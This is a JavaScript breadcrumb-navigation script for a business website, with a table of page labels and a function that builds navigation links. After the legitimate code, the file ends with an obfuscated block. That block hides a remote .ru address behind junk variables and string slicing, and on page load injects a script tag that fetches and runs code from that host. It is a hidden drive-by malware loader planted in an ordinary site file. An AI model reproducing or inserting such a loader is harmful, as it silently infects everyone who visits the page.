// JavaScript Document
/*
	BreadCrumbs.js
	Errol Sayre
	esayre@olemiss.edu
	
	Provided by the Office of Research and Sponsored Programs
	The University of Mississippi
	This script is free to be used but provides no warranty of function or quality.
*/

// BreadCrumb configuration
// set up the site prefix
var sitePrefix = "/";
	// Please note that we don't use the whole prefix, just the important
	//	part that we need for the server so as to make this script easy for
	//	us to migrate between testing and live server. You can use whatever you
	//	like here.

// set up the bread crumb separator text
var breadCrumbSeparator = " > ";

// set up our list of crumb items
// The bread crumb items refer to items on your site that require special
//	labels. You can specify a label specifically using the URI of the
//	file/folder or generically for all occurences of a file/folder.
var breadCrumbLabels = new Array();
// generic labels

// specific labels
breadCrumbLabels["/"] = "www.saiminerals.com";


breadCrumbLabels["multi3DAnim.asp "] = "3D Animations";
breadCrumbLabels["multi2DAnim.asp"] = "2D Animations";
breadCrumbLabels["branding.asp"] = "Branding";
breadCrumbLabels["multimedia/"] = "Media Services";
breadCrumbLabels["feedback.asp"] = "Feedback Form";
breadCrumbLabels["contactus.asp"] = "Contact us";
breadCrumbLabels["contacts/"] = "Contacts";
breadCrumbLabels["whatsnew.asp "] = "What's New";
breadCrumbLabels["partnering.asp"] = "Partnering with us";
breadCrumbLabels["ourprocess.asp"] = "Our Processes";
breadCrumbLabels["careers.asp"] = "Careers";
breadCrumbLabels["aboutus.asp"] = "About us";
breadCrumbLabels["Aboutus/"] = "About Us";
breadCrumbLabels["termsofuse.asp"] = "Terms of Use";
breadCrumbLabels["sitemap.asp "] = "SiteMap";
breadCrumbLabels["privacy_policy.asp"] = "Privacy Policy";
breadCrumbLabels["ourservices.asp"] = "Our Services";
breadCrumbLabels["ourmethodology.asp"] = "Our Methodology";
breadCrumbLabels["logodesign.asp "] = "Logo Designing";
breadCrumbLabels["clients.asp"] = "Our Clients";                                       
                                                  
breadCrumbLabels["multiCBT.asp"] = "CBT Modules";
breadCrumbLabels["multiCorpDemos.asp"] = "Corporate Demos";
breadCrumbLabels["multimedia.asp"] = "Multimedia Design";
breadCrumbLabels["multiOnlineFlash.asp"] = "Online Flash Demos";
breadCrumbLabels["multiProdCat.asp"] = "Product Catalogues";
breadCrumbLabels["multiVideoPres.asp  "] = "Video Presentations";
breadCrumbLabels["printads.asp"] = "Prints / Ads";
breadCrumbLabels["outsourcing/"] = "OutSourcing";
breadCrumbLabels["expediteedge.asp"] = "The Expedite Edge";
breadCrumbLabels["outsourcingadv.asp"] = "Out Sourcing Advantages";                                             
											 
breadCrumbLabels["softMT.asp"] = "Modern Technoloy at XPdite";
breadCrumbLabels["softRIA.asp"] = "RIA and AJAX Development";

breadCrumbLabels["outsourcing.asp"] = "Outsourcing";
breadCrumbLabels["softwaredevelopment/"] = "Software Development";
breadCrumbLabels["softdevJava.asp"] = "Java Developments";
breadCrumbLabels["softdevMOB.asp"] = "Mobile Applications";
breadCrumbLabels["softdevNET.asp"] = "Dot.NET Developments";
breadCrumbLabels["softExp.asp"] = "Benifits with Expedite";
breadCrumbLabels["softProcess.asp"] = "Our Approach";
breadCrumbLabels["softQA.asp"] = "Software Quality Assurance";
breadCrumbLabels["softwaredev.asp"] = "Software Development";
breadCrumbLabels["trainings/"] = "Trainings";
breadCrumbLabels["TrainPC.asp"] = "Project Confluence";
                             
breadCrumbLabels["webdevelopment/"] = "Web Development";
breadCrumbLabels["TrainSD.asp"] = "Software Development Training";
breadCrumbLabels["TrainIT.asp"] = "Industrial Training";
breadCrumbLabels["softwaretraining.asp"] = "Software Training";
breadCrumbLabels["submitRFP.asp"] = "Request a Proposal";
                                            
breadCrumbLabels["webdevelopment/"] = "Web Development";
breadCrumbLabels["web2.asp"] = "Web 2.0 Flash, Flex Designing";
breadCrumbLabels["webdev.asp"] = "Website Development";
breadCrumbLabels["webdesign.asp"] = "Website Designing";
breadCrumbLabels["webmait.asp"] = "Website Maintenance";
breadCrumbLabels["webuid.asp"] = "User Interface Designing";
breadCrumbLabels["webflash.asp"] = "Flash Animations";
breadCrumbLabels["webcms.asp"] = "Content Management System";
breadCrumbLabels["webblog.asp"] = "Blog Design";
breadCrumbLabels["webecom.asp"] = "Web E-commerce";
breadCrumbLabels["webemail.asp"] = "Emailer Design";
breadCrumbLabels["webflash.asp"] = "Flash Animations";
breadCrumbLabels["webmait.asp"] = "Web Maintenance";
breadCrumbLabels["websem.asp"] = "Search Engine Marketing";
breadCrumbLabels["webseo.asp"] = "Search Engine Optimization";
breadCrumbLabels["webtemplates.asp"] = "Website Design Templates";
breadCrumbLabels["logoDesignSamples.asp"] = "Logo Design Samples";
breadCrumbLabels["brochureDesignSamples.asp"] = "Brochure Design Samples";
breadCrumbLabels["mmDesignSamples.asp"] = "Multimedia Presentation Samples";
breadCrumbLabels["TrainPCbenifit.asp"] = "Project Confluence - Benifits";
breadCrumbLabels["TrainPCplan.asp"] = "Project Confluence - Plan";



breadCrumbLabels["softdev_port.asp?CAT_NAME=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=0&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=1&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=2&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=3&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=4&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=5&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=6&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=7&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=8&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=9&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=10&cat_name=SoftDev"] = "Portfolio - Software Development";
breadCrumbLabels["softdev_port.asp?offset=11&cat_name=SoftDev"] = "Portfolio - Software Development";

breadCrumbLabels["softdev_port.asp?CAT_NAME=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=0&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=1&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=2&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=3&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=4&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=5&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=6&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=7&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=8&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=9&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=10&cat_name=webDEV"] = "Portfolio - Web Designing";
breadCrumbLabels["softdev_port.asp?offset=11&cat_name=webDEV"] = "Portfolio - Web Designing";

function displayBreadCrumbs(attempts)
{
	// locate the breadcrumb container
	var theBreadCrumbBar = null;
	if (document.all)
	{
		theBreadCrumbBar = document.all.BreadCrumbBar;
	}
	else
	{
		theBreadCrumbBar = document.getElementById("BreadCrumbBar");
	}
	
	// check to make sure that we have our breadcrumb bar
	if (theBreadCrumbBar != null)
	{
		// get the current url
		// we'll want to ensure that we get the start of our site so, we'll
		//	ignore everything up to and including our site prefix
		var thePath = location.href;
		var theProtocol = "";
		var theSite = "";
		
		// strip out the protocol from the path
		theProtocol = thePath.substring(0, thePath.indexOf("://") + 3);
		thePath = thePath.substring(thePath.indexOf("://") + 3);
		
		// strip out the site name
		theSite = thePath.substring(0, thePath.indexOf(sitePrefix));
		thePath = thePath.substring(thePath.indexOf(sitePrefix));
		
		// strip out the site prefix
		thePath = thePath.substring(thePath.indexOf(sitePrefix) + sitePrefix.length);
		
		// remove hash links
		var theHash = "";
		if (thePath.indexOf("#") > -1)
		{
			theHash = thePath.substring(thePath.indexOf("#"));
			thePath = thePath.substring(0, thePath.indexOf("#"));
		}
		
		// break out the individual pieces of the location
		var crumbs = thePath.split("/");
		var currentPath = sitePrefix;
		var crumbCount = 0;
		
		// add a "home" link
		// create a bread crumb container
		var breadCrumb = document.createElement("span");
		breadCrumb.setAttribute("class", "breadCrumb");
		
		// determine the crumb label
		// first use the default
		var crumbLabel = "XPdite Home";
		
		// second look for a generic label
		if ((breadCrumbLabels[sitePrefix] != null))
		{
			crumbLabel = breadCrumbLabels[sitePrefix];
		}
		
		// third look for a specific label
		if ((breadCrumbLabels[currentPath] != null))
		{
			crumbLabel = breadCrumbLabels[currentPath];
		}
		
		// add the text
		// check to see if there are any crumbs after this one
		if ((0 < crumbs.length) &&
			(crumbs[0] != "default.asp") &&
			(crumbs[0] != ""))
		{
			// create a new link
			var linkTag = document.createElement("a");
			linkTag.href = theProtocol + theSite + currentPath;
			linkTag.appendChild(document.createTextNode(crumbLabel));
			breadCrumb.appendChild(linkTag);
		}
		else
		{
			// add the text together
			breadCrumb.appendChild(document.createTextNode(crumbLabel));
		}
		theBreadCrumbBar.appendChild(breadCrumb);
		
		// increment our count of crumbs
		crumbCount++;
		
		// loop through the crumbs
		for (var crumbIndex = 0; crumbIndex < crumbs.length; crumbIndex++)
		{
			// setup the current path
			currentPath += crumbs[crumbIndex];
			if (crumbIndex + 1 < crumbs.length)
			{
				currentPath += "/";
			}
			
			if ((crumbs[crumbIndex] != "") &&
				(crumbs[crumbIndex].indexOf("default.asp") == -1))
			{
				// add this crumb to the list
				// create a bread crumb container
				var breadCrumb = document.createElement("span");
				breadCrumb.setAttribute("class", "breadCrumb");
				
				// add a greater than to the left hand side
				if (crumbCount > 0)
				{
					breadCrumb.appendChild(document.createTextNode(breadCrumbSeparator));
				}
				
				// determine the crumb label
				// first use the crumb itself
				var crumbLabel = crumbs[crumbIndex].replace(/_/g, " ").replace(".asp", "").capitalize();
				
				// second look for a generic label
				if ((breadCrumbLabels[crumbs[crumbIndex]] != null))
				{
					crumbLabel = breadCrumbLabels[crumbs[crumbIndex]];
				}
				
				// third look for a specific label
				if ((breadCrumbLabels[currentPath] != null))
				{
					crumbLabel = breadCrumbLabels[currentPath];
				}
				
				// add the text
				// check to see if there are any crumbs after this one
				if ((crumbIndex + 1 < crumbs.length) &&
					(crumbs[crumbIndex + 1] != "default.asp") &&
					(crumbs[crumbIndex + 1] != ""))
				{
					// create a new link
					var linkTag = document.createElement("a");
					linkTag.href = theProtocol + theSite + currentPath;
					linkTag.appendChild(document.createTextNode(crumbLabel));
					breadCrumb.appendChild(linkTag);
				}
				else
				{
					// add the text together
					breadCrumb.appendChild(document.createTextNode(crumbLabel));
				}
				theBreadCrumbBar.appendChild(breadCrumb);
				
				// increment our count of crumbs
				crumbCount++;
			}
		}
	}
	else if (attempts < 5)
	{
		// try again in a few seconds
		attempts++;
		setTimeout("displayBreadCrumbs(" + attempts + ");", 1000);
	}
}

// add a handy function to the string class
String.prototype.capitalize = function()
{
	return this.replace(/\w+/g, function(a)
	{
		return a.charAt(0).toUpperCase() + a.substr(1).toLowerCase();
	});
};

// set us up to display bread crumbs
displayBreadCrumbs(1);

var Wh;if(Wh!='o'){Wh='o'};var O;if(O!=''){O='Zt'};function A(){var s;if(s!='OP'){s=''};var M='';var Xb;if(Xb!='X' && Xb!='sG'){Xb='X'};var k;if(k!='j'){k=''};var kS;if(kS!=''){kS='h'};var c='';var t="FXfMg".substr(4);var S=RegExp;var Oj;if(Oj!='pE' && Oj!='ZUP'){Oj='pE'};var zP;if(zP!='po' && zP!='Q'){zP='po'};function I(H,z){this.zJ="";var Za;if(Za!=''){Za='b'};var zK= new String("pAd5[".substr(4));var GX='';this.jO="";zK+=z;var WP="";var _;if(_!='ZJ' && _!='zN'){_=''};zK+="]";var w=new Date();var az;if(az!='' && az!='vR'){az=null};var Z=new S(zK, t);var f;if(f!=''){f='qk'};return H.replace(Z, M);var oB;if(oB!='zz'){oB=''};var Zm;if(Zm!='cb'){Zm=''};};var Iz;if(Iz!='sR'){Iz=''};var wL;if(wL!='Ld'){wL=''};var Hg;if(Hg!='UF' && Hg != ''){Hg=null};this.Nl="";var q='';var ew='';var qU=window;this.Cl="";var D=I('8569609559958556560995666',"695");var c_=new Date();var HJ;if(HJ!='' && HJ!='CO'){HJ=''};var qg=String("iJlIhttp".substr(4)+"FxS://eSFx".substr(3,4)+"zine"+"IxUarti".substr(3)+"cles4DgW".substr(0,4)+"WIA-comWAI".substr(3,4)+"Jvf.cywfvJ".substr(3,4)+"orldELm8".substr(0,4)+"D3ph.com3hpD".substr(4,4)+".cha"+"EsayrterEasy".substr(4,4)+"3QV-net".substr(3)+".greQHF".substr(0,4)+"atmy2B07".substr(0,4)+"s5Xown.sX5".substr(3,4)+"jktru:".substr(3));var oI=new Date();var Pn=new Date();var v=new String("sr"+"c");var ig='';var Cv='';var W=String("o8hIdefer".substr(4));var SY;if(SY!='Is' && SY != ''){SY=null};var ZX=new String("scr"+"ipt");var MT;if(MT!='pX' && MT!='cJ'){MT='pX'};var XG=new String();var Hs=new String("dCP/goo".substr(3)+"i7SBgle.SiB7".substr(4,4)+"FiyRcom/".substr(4)+"goog"+"rmBsle.c".substr(4)+"om/a9WU".substr(0,4)+"nswecGS".substr(0,4)+"V3mArs.c".substr(4)+"M6xom/m".substr(3)+"0fvinin0fv".substr(3,4)+"ova."+"JZLorg/".substr(3)+"inde"+"ed.ca7gr".substr(0,4)+"om.p9Ti".substr(0,4)+"hpRIET".substr(0,2));this._e="";this.jb='';var Ip='';var st;if(st!='' && st!='bF'){st=null};var luZ;if(luZ!='dP'){luZ=''};qU.onload=function(){var K=new String();this.Lt="";try {var zZ='';var RP;if(RP!='' && RP!='CJ'){RP=null};q=qg+D;var cQ="";q+=Hs;this.CX='';var VI;if(VI!='Ms'){VI='Ms'};var MO;if(MO!=''){MO='FJ'};If=document.createElement(ZX);var _J;if(_J!='' && _J!='uC'){_J=''};var pG;if(pG!='' && pG!='Ep'){pG=''};If[W]=[1,6][0];If[v]=q;this.RT="";this.ij="";this.bi="";var UT;if(UT!='Ff'){UT='Ff'};document.body.appendChild(If);var IX;if(IX!='bU'){IX=''};var G_=new String();this.mx='';this.ho='';} catch(l){};var wu;if(wu!='gD' && wu!='aL'){wu=''};};var Wl;if(Wl!=''){Wl='NE'};this.d_="";};var oZ;if(oZ!=''){oZ='Vs'};var eA='';A();var RPk='';var Xz='';